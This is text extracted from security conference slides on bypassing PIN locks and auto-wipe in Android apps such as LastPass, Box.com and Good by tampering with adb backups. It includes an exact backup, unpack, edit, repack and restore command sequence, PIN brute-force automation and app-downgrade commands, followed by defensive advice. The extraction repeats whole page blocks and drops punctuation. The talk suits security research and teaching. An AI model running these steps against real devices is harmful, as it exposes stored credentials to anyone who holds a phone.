Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 107: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 108: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
